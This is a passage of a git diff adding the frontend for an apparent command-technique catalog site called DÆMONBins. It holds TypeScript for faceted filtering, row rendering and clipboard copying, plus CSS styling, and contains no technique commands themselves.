+ const det = t.detection?.length ? `<div class="tdetail__row"><span class="tdetail__k">Detection</span><span class="tdetail__v">${t.detection.map((d) => `${esc(d.type)}: ${/^https?:/.test(d.value) ? `<a href="${esc(d.value)}" target="_blank" rel="noopener">${esc(d.value.replace(/^https?:\/\//, ''))}</a>` : esc(d.value)}`).join('<br>')}</span></div>` : '';
+ const refs = t.references?.length ? `<div class="tdetail__row"><span class="tdetail__k">Refs</span><span class="tdetail__v">${t.references.map((r) => `<a href="${esc(r)}" target="_blank" rel="noopener">${esc(r.replace(/^https?:\/\//, ''))}</a>`).join('<br>')}</span></div>` : '';
+ const desc = t.description ? `<p class="tdetail__desc">${esc(t.description)}</p>` : '';
+ const note = t.verifyNote ? `<p class="tdetail__note">✓ ${esc(t.verifyNote)}</p>` : '';
+
+ return `<article class="trow" data-id="${esc(t.id)}">
+ <button class="trow__head" type="button" aria-expanded="false">
+ <span class="trow__chev" aria-hidden="true">›</span>
+ <span class="trow__name"><a href="${route}" class="trow__tool">${esc(t.toolName)}</a>${label}</span>
+ <span class="trow__badges">${srcBadge}${newBadge}${caps}${plats}</span>
+ </button>
+ <div class="trow__cmdbar">
+ <pre class="trow__cmd"><code>${highlightCommand(t.command)}</code></pre>
+ <button class="trow__copy" type="button" data-copy aria-label="Copy command">copy</button>
+ </div>
+ <div class="trow__detail" hidden>
+ ${desc}${note}
+ <div class="tdetail__grid">${priv}${mitre}${req}${svc}${fp}${det}${refs}</div>
+ </div>
+ </article>`;
+}
+
+// ---- app -------------------------------------------------------------------
+function init(root: HTMLElement, all: Technique[]) {
+ const facetsEl = root.querySelector('[data-cat-facets]') as HTMLElement;
+ const resultsEl = root.querySelector('[data-cat-results]') as HTMLElement;
+ const countEl = root.querySelector('[data-cat-count]') as HTMLElement;
+ const searchEl = root.querySelector('[data-cat-search]') as HTMLInputElement;
+ const newEl = root.querySelector('[data-cat-new]') as HTMLButtonElement;
+ const clearEl = root.querySelector('[data-cat-clear]') as HTMLButtonElement;
+ const moreEl = root.querySelector('[data-cat-more]') as HTMLButtonElement;
+
+ const counts = {
+ platform: {} as Record<string, number>,
+ capability: {} as Record<string, number>,
+ source: {} as Record<string, number>,
+ };
+ for (const t of all) {
+ for (const p of t.platform) counts.platform[p] = (counts.platform[p] || 0) + 1;
+ for (const c of t.capability) counts.capability[c] = (counts.capability[c] || 0) + 1;
+ counts.source[t.source] = (counts.source[t.source] || 0) + 1;
+ }
+
+ let filters: CatalogFilters = filtersFromSearch(location.search);
+ let limit = PAGE;
+
+ function renderFacets() {
+ facetsEl.innerHTML =
+ facetGroup('Platform', 'platform', PLATFORMS, (v) => PLATFORM_META[v as keyof typeof PLATFORM_META].accent, filters.platform, counts.platform) +
+ facetGroup('Capability', 'capability', [...CAPABILITIES], (v) => CAPABILITY_META[v]?.accent || 'foam', filters.capability, counts.capability) +
+ facetGroup('Source', 'source', SOURCES, (v) => SOURCE_META[v as keyof typeof SOURCE_META].accent, filters.source, counts.source);
+ newEl.setAttribute('aria-pressed', String(filters.addedOnly));
+ if (searchEl.value !== filters.query) searchEl.value = filters.query;
+ }
+
+ function render() {
+ const results = filterTechniques(all, filters);
+ const visible = results.slice(0, limit);
+ resultsEl.innerHTML = visible.map(renderRow).join('') ||
+ `<div class="cat-empty"><p class="eyebrow" style="--acc: var(--love);"><span class="eyebrow__mark">^:</span><span>No matches</span></p><p>Nothing matches this filter. Loosen a facet or clear the search.</p></div>`;
+ const active = countActive(filters);
+ countEl.innerHTML = `<strong>${results.length}</strong> of ${all.length} techniques${active ? ` · ${String(active).padStart(2, '0')} facet${active > 1 ? 's' : ''}` : ''}${filters.addedOnly ? ' · NEW only' : ''}`;
+ const remaining = results.length - visible.length;
+ if (remaining > 0) {
+ moreEl.hidden = false;
+ moreEl.textContent = `Show ${Math.min(remaining, PAGE)} more · ${remaining} remaining`;
+ } else {
+ moreEl.hidden = true;
+ }
+ }
+
+ function sync() {
+ const qs = filtersToSearch(filters);
+ const path = location.pathname + (qs ? `?${qs}` : '');
+ history.replaceState(null, '', path);
+ }
+
+ function apply(next: CatalogFilters) {
+ filters = next;
+ limit = PAGE;
+ sync();
+ renderFacets();
+ render();
+ }
+
+ facetsEl.addEventListener('click', (e) => {
+ const btn = (e.target as HTMLElement).closest('[data-facet]') as HTMLElement | null;
+ if (!btn) return;
+ const kind = btn.dataset.facet as 'platform' | 'capability' | 'source';
+ const value = btn.dataset.value!;
+ const set = new Set(filters[kind]);
+ set.has(value) ? set.delete(value) : set.add(value);
+ apply({ ...filters, [kind]: [...set] });
+ });
+
+ let debounce: ReturnType<typeof setTimeout>;
+ searchEl.addEventListener('input', () => {
+ clearTimeout(debounce);
+ debounce = setTimeout(() => apply({ ...filters, query: searchEl.value }), 130);
+ });
+
+ newEl.addEventListener('click', () => apply({ ...filters, addedOnly: !filters.addedOnly }));
+ clearEl.addEventListener('click', () => apply({ ...EMPTY_FILTERS }));
+ moreEl.addEventListener('click', () => { limit += PAGE; render(); });
+
+ // Expand / collapse + copy (event delegation on the results list).
+ resultsEl.addEventListener('click', (e) => {
+ const target = e.target as HTMLElement;
+ const copyBtn = target.closest('[data-copy]') as HTMLElement | null;
+ if (copyBtn) {
+ const row = copyBtn.closest('.trow') as HTMLElement;
+ const cmd = all.find((t) => t.id === row.dataset.id)?.command || '';
+ copyText(cmd, copyBtn);
+ return;
+ }
+ if (target.closest('.trow__tool')) return; // let the tool link navigate
+ const head = target.closest('.trow__head') as HTMLElement | null;
+ if (!head) return;
+ const row = head.closest('.trow') as HTMLElement;
+ const detail = row.querySelector('.trow__detail') as HTMLElement;
+ const open = detail.hidden;
+ detail.hidden = !open;
+ head.setAttribute('aria-expanded', String(open));
+ row.classList.toggle('trow--open', open);
+ });
+
+ renderFacets();
+ render();
+}
+
+function copyText(text: string, btn: HTMLElement) {
+ const done = () => { const o = btn.textContent; btn.textContent = 'copied'; btn.classList.add('is-copied'); setTimeout(() => { btn.textContent = o; btn.classList.remove('is-copied'); }, 1400); };
+ if (navigator.clipboard?.writeText) { navigator.clipboard.writeText(text).then(done).catch(() => fallback(text, done)); }
+ else fallback(text, done);
+}
+function fallback(text: string, done: () => void) {
+ const ta = document.createElement('textarea');
+ ta.value = text; ta.style.position = 'fixed'; ta.style.opacity = '0';
+ document.body.appendChild(ta); ta.select();
+ try { document.execCommand('copy'); done(); } catch { /* noop */ }
+ document.body.removeChild(ta);
+}
+
+async function boot() {
+ const root = document.querySelector('[data-catalog]') as HTMLElement | null;
+ if (!root) return;
+ // ClientRouter fires astro:page-load on the initial load too, while the
+ // module's own boot() has already run — guard against double-init on the
+ // same element (a fresh element after a view-transition swap re-inits).
+ if (root.dataset.booted) return;
+ root.dataset.booted = '1';
+ try {
+ const res = await fetch(url('data/techniques.json'));
+ const data = (await res.json()) as Technique[];
+ init(root, data);
+ } catch (e) {
+ const results = root.querySelector('[data-cat-results]');
+ if (results) results.innerHTML = `<div class="cat-empty"><p>Could not load the dataset. Run <code>npm run data</code> then rebuild.</p></div>`;
+ console.error('[catalog]', e);
+ }
+}
+
+boot();
+document.addEventListener('astro:page-load', boot);
diff --git a/src/scripts/copy.ts b/src/scripts/copy.ts
@@ -0,0 +1,43 @@
+// Wire copy-to-clipboard on any [data-copy] button. It copies the text of the
+// nearest command block (`[data-cmdbar] .cmd code`). Used on the per-tool
+// pages; the catalog island has its own copy path.
+
+function copyText(text: string, btn: HTMLElement) {
+ const restore = btn.textContent;
+ const done = () => {
+ btn.textContent = 'copied';
+ btn.classList.add('is-copied');
+ setTimeout(() => { btn.textContent = restore; btn.classList.remove('is-copied'); }, 1400);
+ };
+ if (navigator.clipboard?.writeText) {
+ navigator.clipboard.writeText(text).then(done).catch(() => fallback(text, done));
+ } else {
+ fallback(text, done);
+ }
+}
+
+function fallback(text: string, done: () => void) {
+ const ta = document.createElement('textarea');
+ ta.value = text;
+ ta.style.position = 'fixed';
+ ta.style.opacity = '0';
+ document.body.appendChild(ta);
+ ta.select();
+ try { document.execCommand('copy'); done(); } catch { /* noop */ }
+ document.body.removeChild(ta);
+}
+
+function wire() {
+ document.querySelectorAll<HTMLElement>('[data-copy]').forEach((btn) => {
+ if (btn.dataset.wired) return;
+ btn.dataset.wired = '1';
+ btn.addEventListener('click', () => {
+ const bar = btn.closest('[data-cmdbar]');
+ const code = bar?.querySelector('.cmd code');
+ copyText(code?.textContent || '', btn);
+ });
+ });
+}
+
+wire();
+document.addEventListener('astro:page-load', wire);
diff --git a/src/styles/app.css b/src/styles/app.css
@@ -0,0 +1,5 @@
+@import './tokens.css';
+@import './chrome.css';
+@import './global.css';
+@import './prose.css';
+@import './daemon.css';
diff --git a/src/styles/catalog.css b/src/styles/catalog.css
@@ -0,0 +1,199 @@
+/* DÆMONBins catalog — the faceted-filter island. Uses the shared design
+ tokens; square corners, hairline rules, accent-fill active states, commands
+ on a dark plate in both themes. */
+
+.cat {
+ display: grid;
+ grid-template-columns: var(--rail, 250px) 1fr;
+ gap: 0;
+ border-top: 1px solid var(--rule);
+ margin-top: 2.5rem;
+}
+@media (max-width: 900px) {
+ .cat { grid-template-columns: 1fr; }
+}
+
+/* ---- rail ---------------------------------------------------------------- */
+.cat__rail {
+ border-right: 1px solid var(--rule);
+ padding: 1.5rem 1.4rem 3rem;
+ position: sticky;
+ top: 4.5rem;
+ align-self: start;
+ max-height: calc(100vh - 4.5rem);
+ overflow-y: auto;
+}
+@media (max-width: 900px) {
+ .cat__rail { position: static; max-height: none; border-right: 0; border-bottom: 1px solid var(--rule); }
+}
+.cat__searchrow { position: relative; margin-bottom: 1rem; }
+.cat__search {
+ width: 100%;
+ font-family: var(--font-mono);
+ font-size: 13px;
+ padding: 0.6rem 0.7rem;
+ background: var(--surface);
+ color: var(--fg);
+ border: 1px solid var(--rule-hi, var(--rule));
+ border-radius: 0;
+}
+.cat__search:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
+.cat__toolbar { display: flex; gap: 0.5rem; margin-bottom: 1.25rem; }
+.cat__btn {
+ font-family: var(--font-mono);
+ font-size: 10.5px;
+ letter-spacing: 0.14em;
+ text-transform: uppercase;
+ padding: 0.45rem 0.7rem;
+ background: transparent;
+ color: var(--fg-dim);
+ border: 1px solid var(--rule);
+ cursor: pointer;
+}
+.cat__btn:hover { color: var(--fg); border-color: var(--fg-dim); }
+.cat__btn[aria-pressed='true'] { background: var(--love); color: var(--base); border-color: var(--love); }
+
+.cat-facet { margin-bottom: 1.5rem; }
+.cat-facet__head { margin: 0 0 0.6rem; }
+.cat-facet__chips { display: flex; flex-wrap: wrap; gap: 0.3rem; }
+.cat-chip {
+ display: inline-flex;
+ align-items: center;
+ gap: 0.4rem;
+ font-family: var(--font-mono);
+ font-size: 11px;
+ letter-spacing: 0.02em;
+ padding: 0.28rem 0.5rem;
+ background: transparent;
+ color: var(--fg-dim);
+ border: 1px solid var(--rule);
+ cursor: pointer;
+ transition: color 120ms, border-color 120ms, background 120ms;
+}
+.cat-chip:hover { color: var(--fg); border-color: var(--acc); }
+.cat-chip__n { font-size: 9.5px; color: var(--fg-faint); }
+.cat-chip[aria-checked='true'] { background: var(--acc); color: var(--base); border-color: var(--acc); }
+.cat-chip[aria-checked='true'] .cat-chip__n { color: var(--base); opacity: 0.8; }
+
+/* ---- main --------------------------------------------------------------- */
+.cat__main { padding: 1.5rem 1.6rem 4rem; min-width: 0; }
+.cat__meta {
+ font-family: var(--font-mono);
+ font-size: 12px;
+ letter-spacing: 0.04em;
+ color: var(--fg-dim);
+ padding-bottom: 1rem;
+ margin-bottom: 1rem;
+ border-bottom: 1px solid var(--rule);
+}
+.cat__meta strong { color: var(--fg); font-weight: 600; }
+.cat__results { display: flex; flex-direction: column; gap: 1px; background: var(--rule); border: 1px solid var(--rule); }
+
+/* ---- row ---------------------------------------------------------------- */
+.trow { background: var(--bg); }
+.trow__head {
+ display: grid;
+ grid-template-columns: 18px minmax(0, 1fr) auto;
+ align-items: center;
+ gap: 0.7rem;
+ width: 100%;
+ text-align: left;
+ padding: 0.7rem 0.9rem;
+ background: transparent;
+ border: 0;
+ cursor: pointer;
+ color: var(--fg);
+}
+.trow__head:hover { background: var(--wash); }
+.trow__chev { color: var(--fg-faint); transition: transform 160ms var(--ease); font-size: 15px; }
+.trow--open .trow__chev { transform: rotate(90deg); }
+.trow__name { display: flex; flex-wrap: wrap; align-items: baseline; gap: 0.5rem; min-width: 0; }
+.trow__tool { font-family: var(--font-archivo); font-weight: 700; font-size: 15px; letter-spacing: -0.01em; color: var(--fg); text-decoration: none; }
+.trow__tool:hover { color: var(--accent); text-decoration: underline; text-underline-offset: 3px; }
+.trow__sub { font-family: var(--font-mono); font-size: 11px; color: var(--fg-faint); }
+.trow__badges { display: flex; flex-wrap: wrap; gap: 0.3rem; justify-content: flex-end; }
+
+.tbadge {
+ font-family: var(--font-mono);
+ font-size: 9.5px;
+ letter-spacing: 0.08em;
+ text-transform: uppercase;
+ padding: 0.12rem 0.4rem;
+ color: var(--acc);
+ border: 1px solid color-mix(in srgb, var(--acc) 45%, transparent);
+ white-space: nowrap;
+}
+.tbadge--soft { color: var(--fg-faint); border-color: var(--rule); }
+.tbadge--src { background: var(--acc); color: var(--base); border-color: var(--acc); }
+.tbadge--new { background: var(--love); color: var(--base); border-color: var(--love); font-weight: 600; }
+
+/* command bar — dark plate in both themes */
+.trow__cmdbar { position: relative; display: flex; align-items: stretch; gap: 0; margin: 0 0.9rem 0.7rem; }
+.trow__cmd {
+ flex: 1;
+ min-width: 0;
+ margin: 0;
+ padding: 0.6rem 0.8rem;
+ background: var(--color-night-base, #191724);
+ border: 1px solid color-mix(in srgb, #000 20%, var(--color-night-base, #191724));
+ overflow-x: auto;
+ font-family: var(--font-mono);
+ font-size: 12.5px;
+ line-height: 1.6;
+}
+.trow__cmd code { white-space: pre; color: var(--color-night-text, #e0def4); }
+.trow__copy {
+ flex-shrink: 0;
+ font-family: var(--font-mono);
+ font-size: 10px;
+ letter-spacing: 0.12em;
+ text-transform: uppercase;
+ padding: 0 0.8rem;
+ background: var(--color-night-surface, #1f1d2e);
+ color: var(--color-night-subtle, #908caa);
+ border: 1px solid color-mix(in srgb, #000 20%, var(--color-night-base, #191724));
+ border-left: 0;
+ cursor: pointer;
+}
+.trow__copy:hover { color: var(--color-night-foam, #9ccfd8); }
+.trow__copy.is-copied { color: var(--color-night-foam, #9ccfd8); }
+
+/* detail */
+.trow__detail { padding: 0 0.9rem 1rem 1.9rem; }
+.tdetail__desc { margin: 0 0 0.8rem; font-size: 14px; line-height: 1.6; color: var(--fg-dim); max-width: 72ch; white-space: pre-wrap; }
+.tdetail__note { margin: 0 0 0.8rem; font-family: var(--font-mono); font-size: 11.5px; color: var(--foam); }
+.tdetail__grid { display: grid; gap: 0.4rem 1.5rem; }
+.tdetail__row { display: grid; grid-template-columns: 84px 1fr; gap: 0.8rem; font-size: 12.5px; line-height: 1.55; }
+.tdetail__k { font-family: var(--font-mono); font-size: 10px; letter-spacing: 0.12em; text-transform: uppercase; color: var(--fg-faint); padding-top: 0.1rem; }
+.tdetail__v { color: var(--fg-dim); word-break: break-word; }
+.tdetail__v--mono { font-family: var(--font-mono); font-size: 11.5px; }
+.tdetail__v a { color: var(--accent); text-decoration: none; }
+.tdetail__v a:hover { text-decoration: underline; text-underline-offset: 2px; }
+.tchip-link { font-family: var(--font-mono); font-size: 11px; border: 1px solid var(--rule); padding: 0.05rem 0.35rem; margin-right: 0.2rem; }
+
+.cat__morerow { margin-top: 1.25rem; display: flex; justify-content: center; }
+.cat__more {
+ font-family: var(--font-mono);
+ font-size: 11px;
+ letter-spacing: 0.12em;
+ text-transform: uppercase;
+ padding: 0.6rem 1.4rem;
+ background: transparent;
+ color: var(--fg-dim);
+ border: 1px solid var(--rule);
+ cursor: pointer;
+}
+.cat__more:hover { color: var(--fg); border-color: var(--accent); }
+.cat-empty { padding: 3rem 1rem; text-align: center; color: var(--fg-dim); }
+.cat-empty p { margin: 0.4rem 0; }
+
+/* command syntax tokens (dark plate palette) */
+.tk-base { color: var(--color-night-text, #e0def4); }
+.tk-muted { color: var(--color-night-muted, #8b87a3); font-style: italic; }
+.tk-op { color: var(--color-night-subtle, #908caa); }
+.tk-cmd { color: var(--color-night-foam, #9ccfd8); }
+.tk-flag { color: var(--color-night-gold, #f6c177); }
+.tk-str { color: var(--color-night-rose, #ebbcba); }
+.tk-num { color: var(--color-night-iris, #c4a7e7); }
+.tk-warn { color: var(--color-night-love, #eb6f92); }
+.tk-kw { color: var(--color-night-pine, #3e8fb0); }
diff --git a/src/styles/chrome.css b/src/styles/chrome.css
@@ -0,0 +1,398 @@
+/* ============================================================================
+ Chrome — the site's form language, ported from the main DÆMON build.
+
+ This file replaces the old glass.css. Where that file made a container
+ out of translucency (blur, tint, inner highlight, 14px radius), this one
+ makes one out of a hairline and a value change. The objects below are
+ the whole vocabulary; every page is assembled from them.
+
+ .slab flat panel — 1px rule, square, no shadow
+ .plate inverse (night) panel, defined in tokens.css
+ .grain the film over everything
+ .micro 10px mono label — the site's furniture type
+ .eyebrow `03 ^: LABEL` lockup with a keyed rule
+ .btn flat control
+ .wipe ink wipe for index rows
+ .clip / .stretch the lockup's scale rig
+ .corners cyberpunk corner brackets
+ .segbar / .seg / .seg--accent tmux-style segmented status bar
+ .glitch RGB-split wordmark glitch, keyed off `data-text`
+ .scanlines CRT scanline overlay for dark plates
+ ========================================================================== */
+
+/* ---- The film ------------------------------------------------------------ */
+/* Fractal noise laid over the page so a flat colour reads as stock rather
+ than as a swatch. It is the one thing standing in for the texture the
+ glass build got from blur, and it is why removing the blur does not
+ leave the page feeling like unpainted CSS.
+
+ Multiply on paper, screen on ink (tokens.css) — noise has to be laid
+ *into* a light ground and *added* to a dark one; the same blend on both
+ is invisible on one of them. */
+.grain {
+ position: fixed;
+ inset: 0;
+ z-index: 1;
+ pointer-events: none;
+ background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='140' height='140'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.85' numOctaves='3' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='140' height='140' filter='url(%23n)' opacity='0.6'/%3E%3C/svg%3E");
+ opacity: var(--grain-opacity);
+ mix-blend-mode: var(--grain-blend);
+}
+
+/* A plate carries its own grain, because it pins the night palette for its
+ subtree and therefore needs the dark blend while the page around it is
+ still on the light one. */
+.grain--local {
+ position: absolute;
+ z-index: 2;
+}
+
+/* ---- Panels -------------------------------------------------------------- */
+.slab {
+ border: 1px solid var(--rule);
+ background: var(--surface);
+}
+/* The heavier variant, for the one panel on a screen that is the point of
+ it — the site draws these at full ink rather than at rule weight. */
+.slab--ink {
+ border-color: var(--fg);
+ background: var(--base);
+}
+
+/* ---- Type furniture ------------------------------------------------------ */
+/* 10px mono, uppercase, widely tracked. Every eyebrow, kind mark, stat
+ label, tab and caption on the site is this object. */
+.micro {
+ font-family: var(--font-mono);
+ font-size: var(--step-micro);
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+ line-height: 1.6;
+}
+.micro--wide { letter-spacing: var(--track-wide); }
+
+/* The section lockup: an index, the site's self-naming `^:` mark, a label,
+ then a rule that runs out to the end of the line in the section's own
+ hue. It is what tells you which of the twelve domains you are in
+ without a heading having to say it twice. */
+.eyebrow {
+ display: flex;
+ align-items: center;
+ gap: 0.9rem;
+ font-family: var(--font-mono);
+ font-size: var(--step-micro);
+ letter-spacing: var(--track-wide);
+ text-transform: uppercase;
+ color: var(--fg-faint);
+}
+.eyebrow__n { color: var(--acc, var(--accent)); }
+.eyebrow__mark { color: var(--fg-faint); opacity: 0.7; }
+.eyebrow__rule {
+ flex: 1;
+ height: 1px;
+ background: var(--acc, var(--accent));
+ opacity: 0.5;
+}
+
+/* Section heading — Archivo at its heaviest, condensed, tracked in tight.
+ Uppercase is load-bearing: at this weight and width the lowercase
+ letterforms lose their counters and the word turns into a block. */
+.display {
+ font-family: var(--font-display);
+ font-weight: 700;
+ font-stretch: 84%;
+ letter-spacing: -0.03em;
+ line-height: 0.94;
+ text-transform: uppercase;
+}
+
+/* ---- Controls ------------------------------------------------------------ */
+.btn {
+ display: inline-flex;
+ align-items: center;
+ gap: 0.55rem;
+ padding: 0.72rem 1.1rem;
+ font-family: var(--font-mono);
+ font-size: 11px;
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+ /* The label is a single tracked line. Without this it wraps at the
+ button's intrinsic width and the control turns into a three-line
+ block, which at this letter-spacing is unreadable. */
+ white-space: nowrap;
+ border: 1px solid transparent;
+ background: var(--fg);
+ color: var(--base);
+ transition: background-color 240ms ease, color 200ms ease, border-color 220ms ease;
+}
+/* An inline SVG with no intrinsic size resolves to 300×150 and detonates
+ the control. Every icon in a button is a 14px mark beside the label. */
+.btn svg { width: 14px; height: 14px; flex: none; }
+.btn:hover { background: var(--accent-2); }
+.btn--ghost {
+ background: transparent;
+ color: var(--fg);
+ border-color: var(--rule-hi);
+}
+.btn--ghost:hover { background: var(--fg); color: var(--base); border-color: var(--fg); }
+
+/* A chip is a bordered label, never a filled pill. Square, hairline, hue
+ from whatever it qualifies. */
+.chip {
+ display: inline-flex;
+ align-items: center;
+ gap: 0.5rem;
+ padding: 0.36rem 0.7rem;
+ font-family: var(--font-mono);
+ font-size: var(--step-micro);
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+ border: 1px solid color-mix(in oklab, var(--acc, var(--accent)) 55%, transparent);
+ color: var(--acc, var(--accent));
+ transition: background-color 240ms ease, color 200ms ease;
+}
+a.chip:hover { background: var(--acc, var(--accent)); color: var(--base); }
+
+/* The live dot — a filled core with a ring expanding off it. Used for
+ anything the page wants to claim is current rather than static. */
+.dot {
+ position: relative;
+ display: block;
+ width: 6px;
+ height: 6px;
+ flex: none;
+}
+.dot i,
+.dot u {
+ position: absolute;
+ inset: 0;
+ border-radius: 50%;
+ display: block;
+}
+.dot i { background: currentColor; }
+.dot u { border: 1px solid currentColor; }
+@media (prefers-reduced-motion: no-preference) {
+ .dot i { animation: dmn-pulse 2.4s ease-in-out infinite; }
+ .dot u { animation: dmn-ring 4.2s ease-out infinite; }
+}
+
+/* ---- The index row's ink wipe -------------------------------------------- */
+/* Hovering a row fills it with ink from the left. Driven by
+ `background-position` over a hard-stop gradient rather than by
+ `background-color`, and the transition list deliberately has no `color`
+ in it — dragging a pointer down a fifty-row index is the one interaction
+ here that can drop frames, and a colour transition on every row it
+ crosses is what does it. The text colour flips instantly instead. */
+.wipe {
+ background-image: linear-gradient(90deg, var(--fg) 0 50%, transparent 50% 100%);
+ background-size: 200% 100%;
+ background-position: 100% 0;
+ background-repeat: no-repeat;
+ transition: background-position 380ms var(--ease-in), color 1ms;
+}
+.wipe:hover { background-position: 0 0; }
+
+/* ---- Corner brackets ----------------------------------------------------- */
+/* The cyberdeck frame: four ~10px L-ticks sitting just outside the element's
+ hairline, drawn by the two pseudo-elements — ::before carries the left
+ pair, ::after the right, each tick a 10px hard-stop gradient tile. The
+ colour is `--bracket` when set, else the theme's love; on a `.plate` the
+ pinned night palette resolves both to their night values, so the brackets
+ stay visible on dark grounds without a special case.
+
+ One caveat: both pseudos are spent on the brackets, so an element that
+ already needs ::before/::after for something else cannot also be
+ .corners. */
+.corners { position: relative; }
+.corners::before,
+.corners::after {
+ content: "";
+ position: absolute;
+ /* -3px: the tick straddles the corner — 3px out past the hairline,
+ 7px back in over it. */
+ inset-block: -3px;
+ width: 10px;
+ z-index: 2;
+ pointer-events: none;
+}
+.corners::before {
+ inset-inline-start: -3px;
+ background:
+ linear-gradient(var(--bracket, var(--love)) 0 0) left top / 10px 1px no-repeat,
+ linear-gradient(var(--bracket, var(--love)) 0 0) left top / 1px 10px no-repeat,
+ linear-gradient(var(--bracket, var(--love)) 0 0) left bottom / 10px 1px no-repeat,
+ linear-gradient(var(--bracket, var(--love)) 0 0) left bottom / 1px 10px no-repeat;
+}
+.corners::after {
+ inset-inline-end: -3px;
+ background:
+ linear-gradient(var(--bracket, var(--love)) 0 0) right top / 10px 1px no-repeat,
+ linear-gradient(var(--bracket, var(--love)) 0 0) right top / 1px 10px no-repeat,
+ linear-gradient(var(--bracket, var(--love)) 0 0) right bottom / 10px 1px no-repeat,
+ linear-gradient(var(--bracket, var(--love)) 0 0) right bottom / 1px 10px no-repeat;
+}
+/* The accent variant re-keys the ticks to iris — the site's signature hue —
+ without touching the geometry. `--bracket` inherits into the pseudos. */
+.corners--accent { --bracket: var(--iris); }
+
+/* ---- Segmented status bar ------------------------------------------------ */
+/* tmux chrome: a ruled strip of square segments divided by hairlines. The
+ bar is a flex row; segments are JetBrains Mono at furniture size; and the
+ dividers are each segment's own inline-start border rather than a
+ separate element, so an empty bar draws nothing. `--font-term` comes from
+ tokens.css — the fallback keeps this intact if that token lands later in
+ the cascade. */
+.segbar {
+ display: flex;
+ align-items: stretch;
+ border-block: 1px solid var(--rule);
+}
+.seg {
+ display: inline-flex;
+ align-items: center;
+ gap: 0.55rem;
+ padding: 0.62rem 0.9rem;
+ font-family: var(--font-term, 'JetBrains Mono', 'IBM Plex Mono', ui-monospace, monospace);
+ font-size: 10.5px;
+ letter-spacing: var(--track-micro);
+ line-height: 1;
+ text-transform: uppercase;
+ white-space: nowrap;
+ color: var(--fg-dim);
+}
+.seg + .seg { border-inline-start: 1px solid var(--rule); }
+/* The filled segment — the wordmark block, the active window. Accent ground,
+ base ink; the divider hairline after it still belongs to the next seg. */
+.seg--accent {
+ background: var(--accent);
+ color: var(--base);
+}
+
+/* ---- The wordmark glitch ------------------------------------------------- */
+/* An RGB split keyed off `data-text`: the element carries its own string in
+ the attribute, and the pseudos replay it as love/foam copies stacked on
+ the real text, each clipped to a thin horizontal slice and nudged a pixel
+ or two sideways. `glitch-shift` is a 5s loop that spends ~92% of itself
+ idle — the tear is the first 0.4s — so the mark reads clean and only
+ occasionally breaks. Under reduced motion the animation is never applied
+ and the copies sit fully clipped: the mark is completely static. */
+.glitch { position: relative; }
+.glitch::before,
+.glitch::after {
+ content: attr(data-text);
+ position: absolute;
+ inset: 0;
+ pointer-events: none;
+ user-select: none;
+ /* Idle = invisible; the burst keyframes open and reclose the slice. */
+ clip-path: inset(50% 0 50% 0);
+}
+.glitch::before { color: var(--love); }
+.glitch::after { color: var(--foam); }
+@media (prefers-reduced-motion: no-preference) {
+ .glitch::before { animation: glitch-shift 5s linear infinite; }
+ /* Reversed and offset, so the two copies never tear on the same line. */
+ .glitch::after { animation: glitch-shift 5s linear 0.2s infinite reverse; }
+}
+
+/* ---- Scanlines ----------------------------------------------------------- */
+/* The CRT film for dark plates: a 3px-period repeating gradient at very low
+ alpha, laid over the plate as an absolutely positioned sheet. It is its
+ own element rather than a pseudo because the plates that want it — code
+ panes, the footer, banners — already spend their pseudos on .corners. The
+ host plate supplies the positioning context; events pass straight
+ through. */
+.scanlines {
+ position: absolute;
+ inset: 0;
+ z-index: 1;
+ pointer-events: none;
+ background: repeating-linear-gradient(0deg, rgb(0 0 0 / 0.09) 0 1px, transparent 1px 3px);
+}
+/* The rolling variant drifts the film slowly downward. 120px is a whole
+ number of 3px periods, so the loop is seamless; under reduced motion the
+ animation is never applied and the film lies still. */
+@media (prefers-reduced-motion: no-preference) {
+ .scanlines--roll { animation: scanlines-roll 14s linear infinite; }
+}
+
+/* ---- Shared timing ------------------------------------------------------- */
+.dmn-t {
+ transition:
+ background-color 240ms ease,
+ color 200ms ease,
+ border-color 220ms ease,
+ transform 220ms var(--ease-in),
+ opacity 200ms ease;
+}
+
+/* ---- The lockup's scale rig ---------------------------------------------- */
+/* `scaleY` overflows its own line box, so a stretched display line has to
+ sit in a fixed-height wrapper that clips it — otherwise it collides with
+ whatever is under it and no amount of margin fixes it, because the
+ overflow is not in the layout. */
+.clip { overflow: hidden; }
+.stretch {
+ transform-origin: 0 0;
+ white-space: nowrap;
+ user-select: none;
+}
+
+/* ---- Keyframes ----------------------------------------------------------- */
+@keyframes dmn-up {
+ from { opacity: 0; transform: translateY(18px); }
+ to { opacity: 1; transform: translateY(0); }
+}
+@keyframes dmn-track-in {
+ from { letter-spacing: 0.075em; transform: scaleX(0.93); }
+ to { letter-spacing: 0.012em; transform: scaleX(1); }
+}
+@keyframes dmn-draw {
+ from { transform: scaleX(0); }
+ to { transform: scaleX(1); }
+}
+@keyframes dmn-wipe-in {
+ from { clip-path: inset(0 100% 0 0); }
+ to { clip-path: inset(0 0 0 0); }
+}
+@keyframes dmn-pulse {
+ 0%, 100% { opacity: 1; }
+ 50% { opacity: 0.25; }
+}
+@keyframes dmn-ring {
+ 0% { transform: scale(1); opacity: 0.7; }
+ 70%, 100% { transform: scale(2.6); opacity: 0; }
+}
+@keyframes dmn-blink {
+ 50% { opacity: 0; }
+}
+/* The glitch burst. Mostly idle by construction: every tear lives in the
+ first 8% of the 5s loop (~0.4s), then the slice closes back to the
+ invisible mid-line for the rest of the cycle. */
+@keyframes glitch-shift {
+ 0% { clip-path: inset(8% 0 76% 0); transform: translate(-2px, -1px); }
+ 1.5% { clip-path: inset(52% 0 30% 0); transform: translate(2px, 1px); }
+ 3% { clip-path: inset(24% 0 58% 0); transform: translate(-2px, 0); }
+ 4.5% { clip-path: inset(70% 0 12% 0); transform: translate(1px, -1px); }
+ 6% { clip-path: inset(40% 0 44% 0); transform: translate(-1px, 1px); }
+ 8%, 100% { clip-path: inset(50% 0 50% 0); transform: none; }
+}
+/* A whole number of scanline periods, so the drift loops seamlessly. */
+@keyframes scanlines-roll {
+ from { background-position-y: 0; }
+ to { background-position-y: 120px; }
+}
+
+/* Under reduced motion every entrance collapses to a single 0.01ms pass,
